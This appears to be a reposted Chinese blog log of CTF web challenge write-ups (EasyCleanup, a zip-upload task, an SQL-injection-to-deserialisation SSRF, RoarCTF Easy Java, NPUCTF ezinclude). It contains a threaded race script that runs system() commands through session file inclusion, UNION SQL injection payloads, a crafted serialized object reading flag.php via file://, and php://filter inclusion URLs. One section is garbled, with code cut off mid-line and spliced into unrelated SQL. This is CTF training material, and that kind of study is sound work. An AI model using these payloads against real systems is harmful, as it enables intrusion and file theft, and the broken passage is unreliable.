返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >刷题记录(2023.3.14 - 2023.3.18)
  • 470
分享到

刷题记录(2023.3.14 - 2023.3.18)

php数据库服务器 2023-09-07 21:09:33 470人浏览 泡泡鱼
摘要

[第五空间 2021]EasyCleanup 临时文件包含考点 分析源码,两个特殊的点,一个是 eval,另一个是 include eval 经过了 strlen filter checkNum

[第五空间 2021]EasyCleanup

临时文件包含考点

分析源码,两个特殊的点,一个是 eval,另一个是 include

eval 经过了 strlen filter checkNums 三个函数

include 经过了 strlen filter 两个函数

filter 检测是否包含特定的关键字或字符

function filter($var){     $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];     foreach($banned as $ban){         if(strstr($var, $ban)) return True;     }     return False; } 

checkNums 检查字母和数字的数量

看一下这道题的 PHP 版本 php/5.5.9-1

PHP 5.4 后 session.upload_progress 内置函数被引入,如果开启可以使用其工作原理

工作原理: 在上传文件时,将上传进度信息存储在 PHP 的 $_SESSION 变量中。然后可以使用 session_upload_progress() 函数来访问这些信息,以便在用户界面中显示上传进度条或其他信息。

查看 php 配置

?mode=eval
phpinfo关于session的设置session.save_path = /tmpsession.use_strict_mode = Offsession.upload_progress.cleanup = Onsession.upload_progress.enabled= On......

脚本包含

import ioimport requestsimport threading  # 多线程from cffi.backend_ctypes import xrangesessid = '0'target = 'Http://1.14.71.254:28592/'file = 'ph0ebus.txt'  # 上传文件名f = io.BytesIO(b'a' * 1024 * 50)  # 文件内容,插入大量垃圾字符来使返回的时间更久,这样临时文件保存的时间更长def write(session):    while True:        session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': ''},                     files={'file': (file, f)}, cookies={'PHPSESSID': sessid})def read(session):    while True:        resp = session.post(            f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');")        if file in resp.text:            print(resp.text)            event.clear()        else:            print("[+]retry")            # print(resp.text)if __name__ == "__main__":    event = threading.Event()    with requests.session() as session:        for i in xrange(1, 30):  # 每次调用返回其中的一个值,内存空间使用极少,因而性能非常好            threading.Thread(target=write, args=(session,)).start()            # target:在run方法中调用的可调用对象,即需要开启线程的可调用对象,比如函数或方法;args:在参数target中传入的可调用对象的参数元组,默认为空元组()        for i in xrange(1, 30):            threading.Thread(target=read, args=(session,)).start()    event.set()

[鹏城杯 2022]压缩包

分析源码

highlight_file(__FILE__);function removedir($dir){    $list= scandir($dir);    foreach ($list as  $value) {       if(is_file($dir.'/'.$value)){         unlink($dir.'/'.$value);       }else if($value!="."&&$value!=".."){                removedir($dir.'/'.$value);       }    }}function unzip($filename){        $result = [];        $zip = new ZipArcHive();        $zip->open($filename);        $dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);        if(!is_dir($dir)){            mkdir($dir);        }        if($zip->extractTo($dir)){        foreach (scandir($dir) as  $value) {            $file_ext=strrchr($value, '.');            $file_ext=strtolower($file_ext); //转换为小写            $file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA            $file_ext=trim($file_ext); //收尾去空            if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){                removedir($dir);            }            if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){                if(is_file($dir."/".$value)){                    unlink($dir."/".$value);                }else{                    if($value!="."&&$value!="..")                    array_push($result,$value);                }}                   }        $zip->close();        unlink($filename);        return JSON_encode($result);        }else{            return false;        }    }$content= $_REQUEST['content'];shell_exec('rm -rf /tmpselect 1,2,3,4

在这里插入图片描述
网页内容左上角报错信息有反序列化函数 unserialize()

查表

-1 uNIOnselect 1,group_concat(table_name),3,4 from infORMation_schema.tables where table_schema=database();
username                   age                   blogusers

查列

-1 unionselect 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database();
username                   age                   blogno,username,passwd,data

查询 users 表对应的数据

-1 unionselect 1,group_concat(no,username,passwd,data),3,4 from users;
username1admin3c9909afec25354d551dae21590bb26e38d53f2173b8d3Dc3eee4c047e7ab1c1eb8b85103e3be7ba613b31bb5c9c36214dc9f14a42fd7a2fdb84856bca5c44c2O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:7:"3333.cn";}

这是我的注册信息,所以没用,得找其他方法

扫描后台可扫到 user.php.bak

highlight_file(__FILE__);class UserInfo{    public $name = "";    public $age = 0;    public $blog = "";    public function __construct($name, $age, $blog)    {        $this->name = $name;        $this->age = (int)$age;        $this->blog = $blog;    }    function get($url)    {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);        $output = curl_exec($ch);        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);        if($httpCode == 404) {            return 404;        }        curl_close($ch);        return $output;    }    public function getBloGContents ()    {        return $this->get($this->blog);    }    public function isValidBlog ()    {        $blog = $this->blog;        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);    }}

根据之前的反序列化函数可知,注册信息被序列化后又被反序列化显示出来,而下方的 data 字段存在漏洞,其对应网页的博客内容

使用 sql 的 4 字段对应的 data 修改序列化内容

file:///var/www/html/flag.php
O:8:"UserInfo":3:{s:4:"name";s:10:"admin123ad";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

对应的 sql 语句

-1 unionselect 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:10:"admin123ad";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

在这里插入图片描述
访问链接,查看源码
在这里插入图片描述

[RoarCTF 2019]Easy Java

点击 help 后,java 程序错误
在这里插入图片描述
且 URL/Download?filename=help.docx

存在 WEB-INF/web.xml 泄露

WEB-INF 是 Java 的 WEB 应用的安全目录。如果想在页面中直接访问其中的文件,必须通过 web.xml 文件对要访问的文件进行相应映射才能访问。

WEB-INF 主要包含一下文件或目录:

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。 /WEB-INF/database.properties:数据库配置文件

Servlet(Server Applet)是Java Servlet的简称,称为小服务程序或服务连接器,用Java编写的服务器端程序,具有独立于平台和协议的特性,主要功能在于交互式地浏览和生成数据,生成动态Web内容。

<servlet> 标签定义了一个 Servlet。<servlet-name> 标签定义了 Servlet 的名字。<servlet-class> 标签定义了 Servlet 的类名。<servlet-mapping> 标签将 Servlet 映射到一个 URL。<url-pattern> 标签定义了 URL 的模式,该 URL 模式将请求映射到相应的 Servlet。对于每个 Servlet,都有相应的 <servlet><servlet-mapping> 来进行定义和映射。
filename=WEB-INF/classes/com/wm/ctf/FlagController.class

在这里插入图片描述

解码得
在这里插入图片描述

[NPUCTF2020]ezinclude

在这里插入图片描述
首页直接报错,源码中有信息

<html>html>

测试后,GET 可传 name,且其参数变化后 Set-Cookie 中的 Hash 值会变化,传入对应的 name,即有对应的 pass 值

?pass=fa25e54758d5d5c1927781a6ede89f8a

<script language="javascript" type="text/javascript">           window.location.href="flflflflag.php";script><html>html>

/flflflflag.php?file=php://filter/convert.base64-encode/resource=flflflflag.php

在这里插入图片描述

flflflflag.php

<html><head><script language="javascript" type="text/javascript">           window.location.href="404.html";</script><title>this_is_not_fl4g_and_出题人_wants_girlfriend</title></head><><body><?php$file=$_GET['file'];if(preg_match('/data|input|zip/is',$file)){die('nonono');}@include($file);echo 'include($_GET["file"])';?></body></html>

dir.php

var_dump(scandir('/tmp'));?>
在 PHP 7 中,如果存在内存错误或其他类似的问题,可能会导致段错误(segment fault),可能会导致 PHP 异常崩溃退出。这种情况可能会在尝试处理大量数据或处理超出内存限制的数据时发生。如果向 PHP 发送包含文件区块的数据包时,PHP 异常崩溃退出,但是 POST 的临时文件仍被保留

使用脚本发送包含文件区块的数据包

import requestsfrom io import BytesIO #BytesIO实现了在内存中读写bytespayload = ""data={'file': BytesIO(payload.encode())}url="http://366904a9-c0cd-4a65-8b3a-77b6adb8021f.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"r=requests.post(url=url,files=data,allow_redirects=False)

在这里插入图片描述

在这里插入图片描述

本文脚本均来自网上收集,代码持续完善分析中…

来源地址:https://blog.csdn.net/qq_62260856/article/details/129535572

--结束END--

本文标题: 刷题记录(2023.3.14 - 2023.3.18)

本文链接: https://lsjlt.com/news/399102.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • 刷题记录(2023.3.14 - 2023.3.18)
    [第五空间 2021]EasyCleanup 临时文件包含考点 分析源码,两个特殊的点,一个是 eval,另一个是 include eval 经过了 strlen filter checkNum...
    99+
    2023-09-07
    php 数据库 服务器
  • nssctf之SSRF刷题记录
    [NISACTF 2022]easyssrf 题目讲的主要是ssrf以及php伪协议的能力,题目详情如下 一般来说,当一个网站出现curl类的功能时就可能会出现ssrf之类的漏洞,常见的ssrf协议...
    99+
    2023-09-03
    php 服务器 网络
  • NSSCTF-Web刷题记录一
    [NISACTF 2022]popchains 打开题目得到: Happy New Year~ MAKE A WISHpage = $file; } public function __t...
    99+
    2023-09-07
    前端 php 开发语言
  • 预备-刷题记录二
    [鹏城杯 2022]简单的php 首先打开题目得到: 代码: Index IndexController com.wm.ctf.In...
    99+
    2023-10-04
    php linux 开发语言
  • 【BUUCTF刷题记录】[ACTF2020新生赛]Exec
    打开靶场,看到一个输入框,标题已经提示是command execution。 1. 首先输入111|ls 发现文件index.php   2. 打开文件index.php,构造payload:111|cat index.php,右击查看网...
    99+
    2023-09-13
    php 开发语言 web安全
  • [SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ①
    [SWPUCTF] 2021 新生赛(NSSCTF刷题记录wp) [SWPUCTF 2021 新生赛]gift_F12[第五空间 2021]签到题[SWPUCTF 2021 新生赛]jicao...
    99+
    2023-08-31
    NSSCTF 刷题记录wp FLAG Web PHP
  • android图像绘制(三)画布刷屏问题记录
    在canvas中绘制动态图的时候,如果使用了一个固定的背景图片,只有一个小小的精灵在移动! 这样的情况下却不得不在没帧中重新绘制背景图片,使得效率降低!尝试过各种方法,最终还是...
    99+
    2022-06-06
    Android
  • 如何用C++制作LeetCode刷题小技巧-错题记录本
    一 . 刷题小技巧 1,c++中的for(auto a:b)用法 for(auto a:b)中b为一个容器,效果是利用a遍历并获得b容器中的每一个值,但是a无法影响到b容器中的元素...
    99+
    2024-04-02
  • 记录leetcode刷题心路历程:Python异步编程体验
    LeetCode是程序员们在锻炼算法能力时经常使用的一个平台。然而,当你在解决一个大规模的问题时,你会发现你的代码会变得越来越慢。这时,你就需要使用异步编程来提高你的代码的效率了。在这篇文章中,我们将记录我们在LeetCode刷题过程中的...
    99+
    2023-06-16
    leetcode 日志 异步编程
  • mysql问题记录
    select count(1) from dual where exists (select 1 from users wher&...
    99+
    2019-11-13
    mysql问题记录
  • Cloudstack 问题记录
    安装CloudStack时,会创建3个库cloud、cloud_usage、cloudbridge。但分析后发现只有cloud库是我们需要的。CloudStack中常用库表:1、vm_instance 虚拟...
    99+
    2024-04-02
  • NSSCTF web题记录
    目录 web [GXYCTF 2019]BabyUpload -.htaccess利用 [NISACTF 2022]babyserialize -pop链 [NISACTF 2022]popchains -pop链 [NSSRound#4 ...
    99+
    2023-09-03
    php 开发语言 学习 经验分享 linux
  • mongodb-mongos问题记录
    mongodb 启动mongos时报以下错误Error initializing sharding system: DistributedClockSkewed: clock skew of the clu...
    99+
    2024-04-02
  • Maven3问题记录-1
        1、升级到maven3时,环境变量的设置 M3_HOME=D:\ProgramFiles\apache-maven-3.0.3 如果M2_HOME和M3_HOME同时存在,则报 Exception in thread "main" ...
    99+
    2023-01-31
  • vue跳转后不记录历史记录的问题
    目录vue跳转后不记录历史记录vue-router回退不记录历史场景说明处理方案其他api跳转vue跳转后不记录历史记录 vue路由跳转一般情况下是使用push,  this.$ro...
    99+
    2024-04-02
  • NAS 问题处理记录
     在解决自动配网的过程中,突然NAS不给力,偏偏这个时间找事情。上面这两个问题,说不复杂也不复杂,主要是自己在完全远程处理,很多不方便。当然少不了师弟的助攻,很感谢我的师弟帮忙,实验室的网络不稳定,让这个过程变得复杂。废话不多说,开始解决...
    99+
    2023-09-24
    php 服务器 apache
  • SYBase数据库问题记录
    16及以上版本中,sql语句里不能有分号,可以用go或者空行代替 字段默认不能为空,如果字段允许为空,后面要加上null声明 主键自增方式:设置为bigint  identity类型,并在后面添加with identity_g...
    99+
    2014-05-18
    SYBase数据库问题记录
  • php面试题小节记录
    想象 0 到 n-1 个人围成一个圈,每个人中的距离是相等的,试求出第 firstNumber 号对面的人是几号。 输入:n = 10, firstNumber = 2输出:7解释:此例中 n=10, firstNumber=2 时,正对...
    99+
    2023-08-31
    php Powered by 金山文档
  • 金蝶K3 12.2问题记录
    1、"定义的应用程序或对象错误" 的解决方法: 错误代码:1726(6BEH) Source :KDLogin Detail :Automation 错误 解决方法如下: 1、右...
    99+
    2023-01-31
    金蝶
  • 记录SpringBoot2.7.5升级SpringBoot3.0.0问题
    项目场景: 尝试将自己的项目升级到SpringBoot3.0.0分享下踩过的坑 问题一:启动报错 javax.servlet.http.HttpServletRequest 依赖配置好后,项目启动报错 报错内容如下: java.lang.T...
    99+
    2023-08-18
    java springboot
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作